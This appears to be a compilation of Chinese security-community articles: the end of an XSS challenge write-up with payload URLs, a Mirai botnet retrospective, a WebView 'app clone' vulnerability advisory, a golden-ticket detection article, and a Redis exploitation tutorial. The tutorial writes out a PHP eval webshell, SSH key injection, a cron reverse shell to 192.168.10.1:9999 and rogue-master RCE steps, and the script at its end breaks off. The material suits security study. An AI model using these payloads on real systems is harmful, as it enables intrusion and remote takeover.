对比下就会发现，构造思路应该和上面解析的过程，是差不多的。
ID：Huuuuu 给的解法，后面的内容也会提到。
◇ 4 思考一下
可以看到，只要思路对了，很多题的解法也是比较相通的，所用到的都是基础的js知识，但是知道这些知识能不能构造出来，那就是思路的问题了。
下面再给出其他人的一些解法思路。
ID：香草
http://px1624.sinaapp.com/test/xsstest10/?px=`}-alert(1)//`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3Ehttp://px1624.sinaapp.com/test/xsstest9/?px=`}-alert(1)//`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3E
他给出的解是9和10通用的，稍微变化下，还可以8、9、10通用的payload。
http://px1624.sinaapp.com/test/xsstest8/?px=`}-alert(1)//%3C/script%3E`}-{a:`${`\%27-{a:`}${`%3C!--%20%3Cscript%20%3E
从payload的结构来看，这个构造思路和我前面分析的那个过程是差不多的，并且最终alert也是放在了最后面的输出点位置，进行构造的。不同点是，他这里的模板并未使用嵌套，而是连续连续用了两次。
ID：Huuuuu
http://px1624.sinaapp.com/test/xsstest9/?px=%20%20%20%20%20%20%20%20}`})//123111111`(alert(`1`))(function%20a(){`${prompt`%3C!--\%27in`}${eval`%3Cscript%20%3E
这是他的原始payload，优化下就是这样。
http://px1624.sinaapp.com/test/xsstest9/?px=1111111111111111`}//`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
Huuuuu的这个payload看着和前面 香草 的那个比较像，其实构造思路上还是有蛮大区别的。他是想办法把前面构造的只剩下2个需要闭合的``}`
然后后面的2个输出点就只负责这部分的闭合就行了。在使用模板的时候，和香草一样，也并未使用嵌套，而是连续用了两次，最终的alert是在js的输出点输出的。这样即便后面的2个输出点的限制只有4个字符，他这个构造方法也是比较容易绕过的。所以相对来说，Huuuuu的这个构造思路的通用型，貌似更好一些。
然后按照他的这个构造思路，第十题的解就是
http://px1624.sinaapp.com/test/xsstest10/?px=`}//`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
再改改，就可以得到一个通杀8、9、10的payload
http://px1624.sinaapp.com/test/xsstest8/?px=`}//%3C/script%3E1111111`-alert(1)-{a:`${`\%27-`}${`%3C!--%3Cscript%20%3E
好了，这次的思路分享到这里就结束了，是不是看的很过瘾呢，欢迎留言评论。下篇（最终篇），会专门讲讲公认最难的第六题，以及对前面的所有做一个总结。
尾 巴
目前最新情况是，一部分的人做出来了1~5题，卡到了第6题。其实卡住了的话，是可以跳着去做其他题的，因为整体来看，第6题应该是最难的了。
ID：gainover 解出了全部10题。ID：Huuuuu 解出了1~5题，以及7~10题。ID：香草
解出了1~4题，以及7~10题。ID：p1g3、zeddy解出了1~5题，以及7~8题。
其他人若有别的解法思路，可以将自己的答案和ID发我qq邮箱：px1624.qq.com
这篇文章的编辑，兼职要了半条老命。发下个人的纯技术交流的 微信公众号：不忘初心px1624 | 社区文章 |
# 回顾恶名昭著的Mirai僵尸网络（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Elie Bursztein，文章来源：elie.net
原文地址：<https://www.elie.net/blog/security/inside-mirai-the-infamous-iot-botnet-a-retrospective-analysis>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[回顾恶名昭著的Mirai僵尸网络（下）](https://www.anquanke.com/post/id/89120)
## 一、前言
作为恶名昭著的僵尸网络，Mirai攻陷了成千上万的物联网（IoT，Internet-Of-Things）设备，以这些设备作为节点发起大规模分布式拒绝服务攻击，破坏大量主流站点。随着Mirai攻击浪潮暂时告一段落，本次再次分析了这一僵尸网络的各种细节。本文是此次回顾的上半部分。
Mirai的攻击浪潮在2016年9月达到峰值，当时该僵尸网络发起大规模[分布式拒绝服务（DDoS）攻击](https://en.wikipedia.org/wiki/Denial-of-service_attack#Distributed_DoS)，导致[OVH](https://www.ovh.com/)、[Dyn](https://dyn.com/)以及[Krebs
on
Security](https://krebsonsecurity.com/)等主流站点出现暂时瘫痪现象，无法正常提供服务。据OVH以及Dyn的报告，这些攻击的流量峰值超过了1Tbps，这是已知攻击中规模最大的攻击流量。
此次创纪录的攻击流量事件中，最引人注目的在于这些流量由家用路由器、空气质量检测仪以及个人监控摄像头等小型物联网（Internet-of-Things，IoT）设备所发起。根据我们的测量结果，在巅峰时期，Mirai控制了超过60万个存在漏洞的IoT设备。
**“Mirai的横空出世表明DDoS攻击活动出现了新的转折点：IoT僵尸网络已经成为此类攻击的主力军。”**
Mirai的时间线如上图所示，从中我们可知，这是非常曲折的一个过程。在攻击活动幕后，许多攻击组织在控制、利用IoT设备方面的动机截然不同，也使整个演进过程充满变数。为了理清整个攻击活动，我与Akamai、Cloudflare、乔治亚理工学院、Google、伊利诺伊大学、密歇根大学以及Merit
Network的研究人员合作，结合我们的感知技术及专业知识，我们共同发现了隐藏在Mirai背后的真相。
这篇文章中，我们从头到尾完整研究了Mirai的相关信息。本文主要源自于今年早些时候我们在USENIX
Security发表的一篇[联合论文](https://www.elie.net/publication/understanding-the-mirai-botnet)，主要包括以下几点内容：
1、Mirai创世纪：讨论Mirai早期情况，从技术角度简要总结了Mirai的工作原理及传播方式。
2、Krebs on Security攻击事件：回顾Mirai如何搞定Brian Krebs的网站。
3、OVH攻击事件：OVH是世界上最大的托管服务商之一，我们分析了Mirai开发者在尝试攻陷OVH方面所做的工作。
## 二、Mirai创世纪
关于Mirai最早的公开报告出现在2016年8月，当时该报告并没有引起人们太多关注，Mirai大部分时间也潜伏在暗处，直至9月中旬才开始兴起。随着Mirai开始大规模DDoS攻击Krebs
on Security（知名安全记者的博客网站）以及OVH（世界上最大的虚拟主机提供商之一）站点后，公众才注意到这个新兴事物。
虽然全世界直到8月底才发现Mirai，但我们的感知系统表明，Mirai自8月1日起已开始活跃，整个感染过程从某个防弹主机（bulletproof
hosting）IP开始。从那时起，Mirai以非常快的速度开始传播，在早期传播阶段，大概每76分钟其网络规模就增大一倍。
在第一天结束时，Mirai已经感染了超过65,000个IoT设备。在第二天，在我们部署的蜜罐集群所观察到的telnet扫描行为中，Mirai已经占据了半壁江山，如上图所示。Mirai在2016年11月达到峰值，当时它已控制了超过600,000个IoT设备。
[Censys](https://censys.io/)会定期扫描整个互联网，收集指纹信息，根据该项目的研究成果，我们定期观察被感染设备的服务指纹信息（banner），发现大多数设备为路由器或摄像头，如上图所示。每种类型指纹的识别过程有所不同，因此上图中我们分开表示每种类型的指纹，其中可能存在多次计数现象。Mirai会主动删除指纹识别信息，这也能部分解释为什么我们无法识别其中许多设备。
在进一步深入分析Mirai故事之前，我们先来简单看一下Mirai的工作原理，别特是Mirai的传播方法及其具体功能。
### Mirai工作原理
从核心功能上来看，Mirai是一款能自我传播的蠕虫，也就是说，它是一款恶意程序，通过发现、攻击并感染存在漏洞的IoT设备实现自我复制。Mirai也是一种僵尸网络，因为它会通过一组中央命令控制（command
and
control，C&C）服务器来控制被感染的设备。这些服务器会告诉已感染设备下一步要攻击哪些站点。总体而言，Mirai由两个核心组件所构成：复制模块以及攻击模块。
#### 复制模块
复制模块负责扩大僵尸网络规模，具体方法是尽可能多地感染存在漏洞的IoT设备。该模块通过（随机）扫描整个互联网来寻找可用的目标并发起攻击。一旦搞定某个存在漏洞的设备，该模块会向C&C服务器报告这款设备，以便使用最新的Mirai载荷来感染此设备，如上图所示。
为了感染目标设备，最初版本的Mirai使用的是一组固定的默认登录名及密码组合凭据，其中包含64个凭据组合，这些凭据是IoT设备的常用凭据。虽然这种攻击方式比较低级，但事实证明该方法效率极高，Mirai通过这种方法搞定了超过600,000个设备。
**“仅凭64个众所周知的默认登录名及密码，Mirai就能够感染600,000个IoT设备。”**
#### 攻击模块
C&C服务器负责指定攻击目标，而攻击模块负责向这些目标发起DDoS攻击。该模块实现了大部分DDoS技术，比如HTTP洪泛攻击、UDP洪泛攻击，以及所有的TCP洪泛攻击技术。Mirai具备多种模式的攻击方法，使其能够发起容量耗尽攻击（volumetric
attack）、应用层攻击（application-layer attack）以及TCP状态表耗尽攻击（TCP state-exhaustion
attack）。大家可以阅读Arbor
Network发表的这篇[文章](https://www.arbornetworks.com/research/what-is-ddos)来了解关于DDoS攻击的更多信息。
## 三、Krebs攻击事件
[Krebs on Security](https://krebsonsecurity.com/)是Brian
Krebs的博客网站。Krebs是一位广为人知的独立记者，专门报导网络犯罪方面内容。由于Brian的工作方向，许多犯罪分子经常向其博客发起DDoS攻击。根据Krebs的感知数据，该博客从2012年7月到2016年9月期间遭受了269次DDOS攻击，而Mirai攻击是目前为止规模最大的一次攻击，攻击流量达到了623Gbps。
从攻击Brian网站的IP地理分布情况来看，攻击活动中涉及的许多设备来自于南美洲以及东南亚地区，占了非常大的比重。如上图所示，巴西、越南以及哥伦比亚是被感染设备的主要分布区域。
大规模攻击Krebs后，该网站的CDN服务商（即Akamai）不得不撤销为其提供的DDoS防护服务。这样一来，Brian不得不将站点迁移至Project
Shield。正如Brian在博客中谈到的那样，这个事件突出表明DDoS攻击已经成为审查个人的一种常见并且廉价的攻击方式。
**“IoT僵尸网络的兴起进一步促进了DDoS攻击作为网络审查工具的商品化进程。”**
## 四、OVH攻击事件
Brian并不是Mirai的第一个受害者。在Brian被攻击的前几天，Mirai攻击了欧洲最大的托管服务商之一：[OVH](https://en.wikipedia.org/wiki/OVH)。根据[官方统计数据](https://www.ovh.com/us/news/articles/a2367.the-ddos-that-didnt-break-the-camels-vac)，OVH为超过100万个客户的大约1800万个应用提供托管服务，[维基解密（Wikileaks）](https://wikileaks.org/)正是他们最为出名且最有[争议](http://www.datacenterdynamics.com/content-tracks/security-risk/british-spies-monitored-ceo-of-ovh/97461.fullarticle)的一个客户。
对此次攻击我们了解的并不多，因为OVH并没有参与我们的联合研究过程中。因此，我们得到的信息主要来自于OVH在攻击事件后发布的博文。从这篇文章来看，此次攻击持续了大约一周时间，攻击对象为OVH某个未公开的客户，攻击流量巨大且有一定间歇性。
作为OVH的创始人，Octave
Klaba在[推特](https://twitter.com/olesovhcom/status/778832013503631360)上说这些攻击针对的是Minecraft服务器。根据本文的分析，我们可以在游戏行业利益争夺中广泛看到Mirai的身影，这可能也是为什么Mirai首次现身在这种场景的原因所在。
根据OVH的感应结果，此次攻击峰值流量为1TBs，由145,000个IoT设备共同发起。虽然IoT设备的数量与我们的观测结果一致，但报告中公布的攻击流量明显高于我们在其他攻击事件中看到的数据。比如，前面介绍过，Brian被攻击的峰值流量为623Gbps。
无论具体规模有多大，Mirai攻击肯定是有史以来规模最大的攻击活动。之前的“纪录”大约为300Gpbs，Mirai流量已经远远超过这一数值，甚至超过了Arbor
Network观察到的最大流量值（Arbor年度报告中认为攻击流量最高可达~800Gbps）。
**“社区应该将Mirai的庞大规模视为警钟：存在漏洞的IoT设备已成攻击主力军，会对互联网稳定性造成重大且迫切的威胁。”** | 社区文章 |
# 360显危镜、加固保免费提供“应用克隆”漏洞检测服务
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
近期国内多款知名手机APP被曝光存在“应用克隆”漏洞。攻击者利用该漏洞，可以轻松“克隆”用户账户，窃取隐私信息，盗取账号及资金等，国内约 **10%**
的主流APP受到漏洞影响。
**作为中国领先的网络安全厂商，360旗下APP从产品开发阶段就已对“应用克隆”攻击威胁进行全面预防，完全不受此次漏洞影响。**
针对移动应用厂商和开发者，360旗下自动化漏洞检测平台 **360显危镜**
即日起将提供免费技术援助，为大家提供Android应用克隆攻击漏洞检测服务，协助开发者修复“应用克隆”漏洞。
根据360信息安全中心的评估，“应用克隆”漏洞攻击模型中主要涉及到两个过程，一是数据读取，二是数据复制。在数据读取过程中主要涉及到WebView的跨源攻击，因为Android沙盒的存在，两个应用之间一般情况下是不可以进行文件的相互访问，但不正确的使用WebView可能会打破这种隔离。WebView未禁用file域访问，允许file域访问http域，且未对file域的路径进行严格限制的情况下，攻击者通过URL
Scheme的方式，可远程打开并加载恶意HTML文件，远程获取APP中包括用户登录凭证在内的所有本地敏感数据，并外传到攻击者的服务器。
漏洞的攻击链条中，需要利用多个漏洞才能实现，因此可有多种方式截断该攻击的实现方式。针对上述几个问题，只要从任何一点截断，即可极大程度上杜绝该漏洞攻击的实现。
## 修复建议
1.在使用Webview时，对于不需要使用file协议的应用， **禁用file协议**
setAllowFileAccess可以设置是否允许WebView使用File协议，默认值是允许，如果不允许使用File协议，则不会存在跨源的安全威胁。
2.对于需要使用file协议的应用， **禁止file协议调用javascript**
setJavaScriptEnabled可以设置是否允许WebView使用JavaScript,默认是不允许，但很多应用，包括移动浏览器为了让WebView执行http协议中的javascript，都会主动设置允许WebView执行Javascript，而又不会对不同的协议区别对待，比较安全的实现是如果加载的url是http或https协议，则启用javascript,如果是其它危险协议，如是file协议，则禁用javascript。
3. **设置file域白名单** ，检查file域路径避免被绕过
固定不变的HTML文件可以放到assets或res目录，可能会更新的HTML文件放到应用私有目录下，避免被第三方替换或修改，对file域请求做白名单限制时，需要对“../../”特殊情况进行处理，避免白名单被绕过。
## Android应用克隆攻击漏洞检测服务网址
<http://appscan.360.cn/tool/>
## 参考文献
<http://www.cnvd.org.cn/webinfo/show/4365>
<http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/>
<http://appscan.360.cn/>
## 360加固保
360加固保一直致力于守护为移动应用安全，会及时推送安全相关资讯、第一时间发布漏洞预警，提供解决方案，关注微信公众号（360加固保；jiagu360），为移动应用安全保驾护航。 | 社区文章 |
# 利用PAC新特性对抗黄金票据
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 黄金票据简介
黄金票据是一种常见的域内权限维持手段，这种攻击主要是利用了Kerberos认证过程中TGT票据由KRBTGT用户的hash加密的特性，在掌握KRBTGT用户密码之后可以通过签发一张高权限用户的TGT票据，再利用这个TGT向KDC获取域内服务的ST来实现对域的控制。那么这里的“高权限用户”是通过什么来判断的呢，答案就是PAC。
## PAC的作用
PAC的结构如下图所示（MS-PAC）
整个结构详解可以参考daiker师傅的这篇[文章](https://daiker.gitbook.io/windows-protocol/kerberos/3#0x02-pac-jie-gou)，由于TGT是krbtgt用户的hash加密的，我们在wireshark抓包是看不到TGT的结构的，不过我们可以写了一个工具来解密TGT和PAC
PAC解析后内容如下
可以看到在没有更新之前PAC中一共由5种类型的INFO_BUFFER:
* KERB_VALIDATION_INFO（0x1）
* PAC_CLIENT_INFO(0x0A)
* UPN_DNS_INFO(0x0C)
* PAC_SERVER_CHECKSUM (0x06)
* PAC_PRIVSVR_CHECKSUM(0x07)
当用户通过Kerberos预认证之后，KDC会给用户返回TGT票据，在TGT票据中包含了用户的SID、组等信息。在后续的TGS请求中KDC会将TGT中的PAC直接复制到返回给用户的ST票据中，最终由服务向KDC申请验证该PAC来确认用户是否有权访问该服务。
通过上面的描述，可以看出PAC在Kerberos认证的权限校验过程起着非常关键的作用，在历史上也因为PAC的问题出现过非常严重的安全漏洞（如著名的ms14-068），然而这个过程在微软针对CVE-2021-422287漏洞修复更新之后发生了一些变化。
## PAC_REQUESTOR
2021年11月9日，微软发布了针对[CVE-2021-42287](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42287)漏洞的修复补丁，跟据微软的[文章](https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)描述，此次更新后，在PAC中添加了一个新属性[PAC_REQUESTOR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/26d10175-16e6-4d52-9450-d56a692b0d55)
KDC将会在PAC的PAC_REQUESTOR结构体填充原始请求者的SID，并且在TGS_REQ过程验证请求用户(cname)是否和PAC_REQUESTOR中的SID相匹配。
我们用工具解析安装CVE-2021-42287补丁更新之后的域控返回的TGT
考虑到更新之后票据的兼容问题，微软增加了一个注册表项`PACRequestorEnforcement`来对验证规则进行控制， 该注册表位于
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc`下。`PACRequestorEnforcement`的默认值为`1`，当该注册表项的值为`0`时表示不验证`PAC_REQUESTOR`,
值为`1`时表示如果PAC中存在`PAC_REQUESTOR`结构就验证，如果不存在就不验证，当值为`2`时所有PAC都需要验证`PAC_REQUESTOR`,
不包含`PAC_REQUESTOR`结构的PAC将会被拒绝。
微软将整个更新过程分为三个阶段
1. 初始部署阶段
更新时间为2021年11月9日，在这个阶段增加了对`PacRequestorEnforcement`注册表项的支持，用户可以通过设置该注册表项对PAC新增属性的验证规则进行控制
2. 第二个部署阶段
更新时间为2022年7月12日，在这个阶段的更新执行之后，`PacRequestorEnforcement`等于`0`的情况将不被支持，将这个注册表设置为`0`将等同于设置成`1`
3. 强制执行阶段
安装了这次更新的域控将移除`PacRequestorEnforcement`注册表，也就是只支持带有`PAC_REQUESTOR`结构的TGT，并且和存在以下情况的域控不兼容
* 未安装 2021 年 11 月 9 日或更高版本更新的域控制器。
* 已安装 2021 年 11 月 9 日或更高版本更新，但尚未安装 2022 年 7 月 12 日更新的域控制器以及 `PacRequestorEnforcement` 注册表值为 0 的域控制器。
与此同时，这次更新也新增了新的系统日志，日志ID和对应的含义如下
|事件 ID|事件类型|含义|
|—|—|—|
|35|警告|KDC 遇到不带 PAC 属性缓冲区的 TGT|
|36|部署阶段警告 执行阶段出错|KDC 遇到没有 PAC 的 TGT 或其他证据票证|
|37|部署阶段警告 执行阶段出错|KDC 遇到没有 PAC 请求程序缓冲区的 TGT 或其他证据票证|
|38|错误|请求 TGT 或证据票证的帐户与生成服务票证的帐户不匹配|
## 基于PAC更新的黄金票据检测
在这次更新之后，一些黑客工具也对此进行了相应的更新
不过需要注意这些工具在生成黄金票据的过程中伪装的用户SID默认都是500。
impacket
mimikatz
Rubeus
大部分情况下，攻击者不会去修改默认的用户SID，如果在制作黄金票据时对应的用户名不存在或者其SID不是500的话，域控上将会触发event
38日志，如果使用的工具没有更新PAC结构的话将会触发event 37日志，通过这两条日志就可以对黄金票据攻击进行检测。 | 社区文章 |
# 纸上得来终觉浅——Redis 个人总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
提及 Redis 自然是耳熟能详，说起 Redis
的漏洞的话，未授权访问漏洞、主从复制漏洞等也是张口就来，缺乏实际操作的情况下，终究只是纸上谈兵，所以打算对 Redis 进行一个全面的总结。
## Redis 简介
直接抄取百度百科上的一段话 “Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI
C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。从2010年3月15日起，Redis的开发工作由VMware主持。从2013年5月开始，Redis的开发由Pivotal赞助。”redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted
set
—有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。
我对 Redis 的认知就是 — 这是一个数据库，默认端口是6379，拥有很多漏洞。
## Redis 安装
* Linux 编译安装，安装后仅能在安装目录下运行
wget https://download.redis.io/releases/redis-6.2.5.tar.gz
tar xzf redis-6.2.5.tar.gz
cd redis-6.2.5
make
# 启动 redis 服务，可以指定配置文件启动(若不指定则以默认的配置文件启动)
cd src
./redis-server
# 启动 redis 客户端
./redis-cli
* Ubuntu apt 命令安装
sudo apt update
sudo apt install redis-server
redis-server
redis-cli
* Windows 安装
https://github.com/MicrosoftArchive/redis/releases
下载 Redis-x64-3.0.504.zip 并解压
redis-server.exe redis.windows.conf
## Redis 命令
Redis 也是分为服务端和客户端的，服务端上执行的是客户端发送过来的命令(感觉好像一句废话)。Redis 在安装完成之后会有 `redis-cli`
redis-cli -h host # 免密登录
redis-cli -h host -p port -a password # 使用 Redis 密码登录 Redis 服务
# 与 Redis 服务连接成功后，执行 PING 命令，如果服务器运作正常的话，会返回一个 PONG
## Redis 语法
* Redis 键命令的基本语法为： COMMAND KEY_NAME
* 使用 * 可以获取所有配置项(GET 、 KEYS)
* 使用 SET 和 GET 命令，可以完成基本的赋值和取值操作；
* Redis 不区分命令的大小写，set 和 SET 是同一个意思；
* 如果键的值中有空格，需要使用双引号括起来；
SET key "Hello World" # 设置键 key 的值为字符串 Hello World
GET key # 获取键 key 的值，如果 key 不存在，返回 nil 。如果key 储存的值不是字符串类型，返回一个错误
DEL key # 删除键 key
KEYS * # 获取 redis 中所有的 key,Keys 命令用于查找所有符合给定模式 pattern 的 key
SAVE # 用于创建当前数据库的备份,在 redis 安装目录中创建dump.rdb文件
CONFIG GET requirepass # 用于获取 redis 服务的配置参数，通过 CONFIG 命令查看或设置配置项
CONFIG REWRITE requirepass "123456" # 对 redis.conf 配置文件进行改写，重启后才会被修改
CONFIG SET requirepass "123456" # 动态地调整 Redis 服务器的配置(configuration)而无须重启
Flushall # 用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key)
SELECT index # Redis Select 命令用于切换到指定的数据库，数据库索引号 index 用数字值指定，以 0 作为起始索引值。
## Redis 配置文件
Redis 的配置文件位于 Redis 安装目录下，文件名为 redis.conf(Windows 名为
redis.windows.conf)。当然也可以通过指定配置文件来进行启动。列举一些重要的配置项进行说明。
配置项 | 说明
---|---
port 6379 | 指定 Redis 监听端口，默认端口为 6379
bind 127.0.0.1 | 绑定的主机地址，格式为bind后面接IP地址，可以同时绑定在多个IP地址上，IP地址之间用空格分离，如 bind
192.168.1.100
10.0.0.1，表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数，则绑定在本机的所有IP地址上。
save <seconds> <changes> | 格式为 save <秒数>
<变化数>，表示在指定的秒数内数据库存在指定的改变数时自动进行备份也就是指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合
dbfilename dump.rdb | 指定本地数据库文件名，默认值为 dump.rdb
dir ./ | 指定本地数据库存放目录，指明 Redis 的工作目录为设定的目录，Redis 产生的备份文件将放在这个目录下
requirepass foobared | 设置 Redis 连接密码，如果配置了连接密码，客户端在连接 Redis 时需要通过 AUTH
<password> 命令提供密码，默认关闭
protected-mode | redis3.2 版本后新增 protected-mode 配置，默认是 yes ，用于设置外部网络连接 redis
服务。关闭 protected-mode 模式，此时外部网络可以直接访问。开启 protected-mode 保护模式，需配置 bind ip
或者设置访问密码。
## Redis 漏洞利用
### 前置条件
注意到 3.2.0 版本后 redis.conf 配置文件中两个比较重要的参数 `bind` 以及 `protected-mode`
经过验证，唯有以下情况可以满足未授权访问 Redis
* 未开启登录认证(即没有配置登录密码，默认即可满足)，将 redis 绑定到了0.0.0.0(设置bind 参数为 0.0.0.0)
* 未开启登录认证(即没有配置登录密码，默认即可满足)，未绑定 redis 到任何地址(将 bind 参数注释掉)，关闭保护模式(设置 protected-mode 的参数为no)
### 利用 Redis 写入webshell
Redis 存在未授权访问的情况下，也开启了 web 服务，知道 web 目录的路径，具有文件读写权限，就可以通过 redis 在指定的 web
目录下写入shell文件。
# 安装 php 服务
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install php5.6
# 安装开启 apache 服务
sudo apt install apache2
service apache2 start
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>"
# set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
#\r\n\r\n 代表换行的意思，用redis写入文件的会自带一些版本信息，如果不换行可能会导致无法执行
save
写入之后查看/var/www/html/目录下的shell.php文件内容
可以通过蚁剑直接连接，很奇怪的是无法直接在页面上执行
### 写 ssh-keygen 公钥登录服务器
Redis 存在未授权访问的情况下，开启了 ssh 服务，在数据库中插入一条数据，将本机的公钥作为 value，key
值随意，然后可以通过修改数据库的保存路径为 `/root/.ssh` 和保存文件名为 `authorized.keys` ，备份数据库之后就可以在服务器端的
`/root/.ssh` 下生成一个key。
# 安装 openssh 服务
sudo apt-get install openssh-server
# 启动 ssh 服务
sudo /etc/init.d/ssh start
# 配置 root 用户连接权限
sudo vim /etc/ssh/sshd_config
PermitRootLogin yes
# 设置允许通过免密登录
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
# 重启 ssh 服务
sudo /etc/init.d/ssh restart
ssh-keygen -t rsa
cat /home/root/.ssh/id_rsa.pub
可以像写 webshell 一样将文件写入
config set dir /root/.ssh/config
set dbfilename authorized_keysset xxx "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjUxxZ6e/DvN5QDim8ioSIJ9tK+fugqFLcgHckaYrqPGERMlUvQOnxbl9s87uGf1FslRX4fySoC81p0C1EC1mNzj7C7ozJpcu+5HsIV12jqh9Cl98TALXmOTepvC74SaFgyzL0tQui90gAWiTgUq155OgonBhmUW+xsuJ3B3K6/Bh+dbMwI5F9NdBbynRDJcf25lp6YHp7XUy0yUYJGR1v62epkZTWjrhbDBXK609CSsg//r02P7n3mehvTtaHKZZQQL5VdAVh6fT3udsR+Mr2Ar9oZz2Rhr+S8p4scEjiUjcF3Leddooh3uGlaBowJtyInImMDP/TP4t57aeD8Pr root@root"
save
为了方便操作也可以采用这种方法
(echo -e "\n\n"; cat /home/root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.10.128 -x set xxx
redis-cli -h 192.168.10.128
> config set dir /root/.ssh/
> config set dbfilename authorized_keys
> save
ssh -i /home/root/.ssh/id_rsa [email protected]
第一次设置的时候会报错 `(error) ERR Changing directory: No such file or directory`
是靶机上并不存在这个目录，原因是 .ssh 是记录密码信息的文件夹，如果 root 用户没有登录过的话，就没有 .ssh 文件夹，所以我们可以通过这条命令
`ssh localhost` 或者手动创建 .ssh 目录。
### 利用计划任务反弹shell
#### Centos
在 Centos 上安装完成 redis 后要记得关闭防火墙 `service firewalld stop` 否则即使能 ping 通，redis
也无法连接。
config set dir /var/spool/cron/ config
set dbfilename rootset xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.1/9999 0>&1\n\n"
save
连接靶机 Redis，写入反弹 shell 的计划任务：
查看靶机上的计划任务
开启监听，获得反弹回来的 shell
#### Ubuntu
看了这篇文章 [解决ubuntu
crontab反弹shell失败的问题](https://m3lon.github.io/2019/03/18/%E8%A7%A3%E5%86%B3ubuntu-crontab%E5%8F%8D%E5%BC%B9shell%E5%A4%B1%E8%B4%A5%E7%9A%84%E9%97%AE%E9%A2%98/)
仔细分析了一下，发现复现研究意义不大，因为还需要去修改权限，不可能存在这样的场景，但是作者分析解决的思路还是很值得学习的。
**总结**
> 这个方法只能在 Centos 上使用，Ubuntu 上行不通，原因如下：
>
>
> + 因为默认 redis 写文件后是 644 权限，但是 Ubuntu 要求执行定时任务文件
> `/var/spool/cron/crontabs/<username>` 权限必须是 600 才会执行，否则会报错 (root) INSECURE
> MODE (mode 0600 expected)，而 Centos 的定时任务文件 `/var/spool/cron/<username>` 权限
> 644 也可以执行
> + 因为 redis 保存 RDB 会存在乱码，在 Ubuntu 上会报错，而在 Centos 上不会报错。
>
>
> 由于系统的不同，crontrab 定时文件位置也不同：
>
>
> + Centos 的定时任务文件在 `/var/spool/cron/<username>`
> + Ubuntu 的定时任务文件在 `/var/spool/cron/crontabs/<username>`
>
### 利用主从复制获取shell
Redis是一个使用ANSI
C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机，其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。
在Reids
4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在Redis中实现一个新的Redis命令，通过写C语言编译并加载恶意的.so文件，达到代码执行的目的。
#### Linux
在本机上弄的时候出现各种各样的奇葩的问题，给我整破防了，最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ，重启继续进行。最后发现
**主从复制的利用版本是 4.x-5.x，从 6.0开始,就无法利用成功，写入exp.so 也是可以的，module 加载时会失败，提示没有权限，给
exp.so 权限后时可以的。**
sudo docker pull vertigo/redis4
sudo docker run -p 6379:6379 vertigo/redis4
##### redis-rce
[redis-rce](https://github.com/Ridter/redis-rce)
生成恶意.so文件，下载RedisModules-ExecuteCommand使用make编译即可生成
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
##### redis-rogue-server
[redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server)
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-serve
python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
##### Redis主从复制手动挡
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
